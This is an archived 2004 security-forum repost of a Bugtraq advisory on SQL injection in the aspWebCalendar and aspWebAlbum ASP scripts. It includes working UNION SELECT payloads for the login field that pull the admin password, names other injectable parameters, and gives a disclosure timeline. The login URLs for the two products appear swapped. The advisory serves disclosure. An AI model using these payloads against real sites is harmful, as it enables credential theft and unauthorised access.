hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Aspwebcalendar /aspwebalbum: Sql Injection
GovernmentSecurity.org > The Archives > Exploit Articles
qcred11
Sep 25 2004, 01:00 AM
QUOTE


"aspWebCalendar is an .asp (Active Server Pages) script that allows you to easily create an online events calendar that supports multiple users. Easy installation and usage are the key features of aspWebCalendar. The script contains a text file with a few configuration variables that are used by the script... Just change one of these variables, upload the files and you are up and running."

"aspWebAlbum is an .asp (Active Server Pages) script that allows you to easily create an online photo album or gallery simply by uploading images to your server... the script will do the rest. Easy installation and usage are the key features of aspWebAlbum. The script contains a text file with several configuration variables that are used by the script... just change two of these and you are up and running. To add images simply upload them to your server, its that simple."

This information was taken from http://www.jancw.dk/ but the vendor of this software is Full Revolution and the website can be found at www.fullrevolution.com


[2]The Problem

These two can run on SQL or Access databases, both coming right from the box, and those who use the default sql file are vulnerable to injection, alowing, f.e., an attacker to view the table contents by reading the asp error messages.

(1) For the aspWebCalendar, in the login pages:

"www.example.com/album.asp?action=login"

you can put this in the username field (leaving the password blank) to extract the password for the 'admin' user, if it exists:

" ' union select Cal_User_Password,1,1,1,1,1,1,1,1,1 from Cal_User where Cal_User_UserName = 'admin'-- "

 
  (1.1) the 'eventid' field is vulnerable to sql injection too:
        "www.example.com/calendar.asp?action=eventdetail&eventid='"



(2) For the aspWebAlbum, the login pages can be found at "www.example.com/calendar.asp?action=login" and the problem is the same (i'll use the same example as above) :

        "' union select Gal_UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Gal_Users where Gal_UserUserName = 'admin' --"

       
        (2.2) The 'cat' field is also a problem in this example:
            "www.example.com/album.asp?cat='"


At the moment all the SQL versions of this software seem to be affected.


[3]Timeline

(28/8/2004) vuln discovered
(29/8/2004) short note posted at johnny.ihackstuff.com forums
(15/9/2004) vendor notified, still no reply



Source: http://seclists.org/lists/bugtraq/2004/Sep/0324.html
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.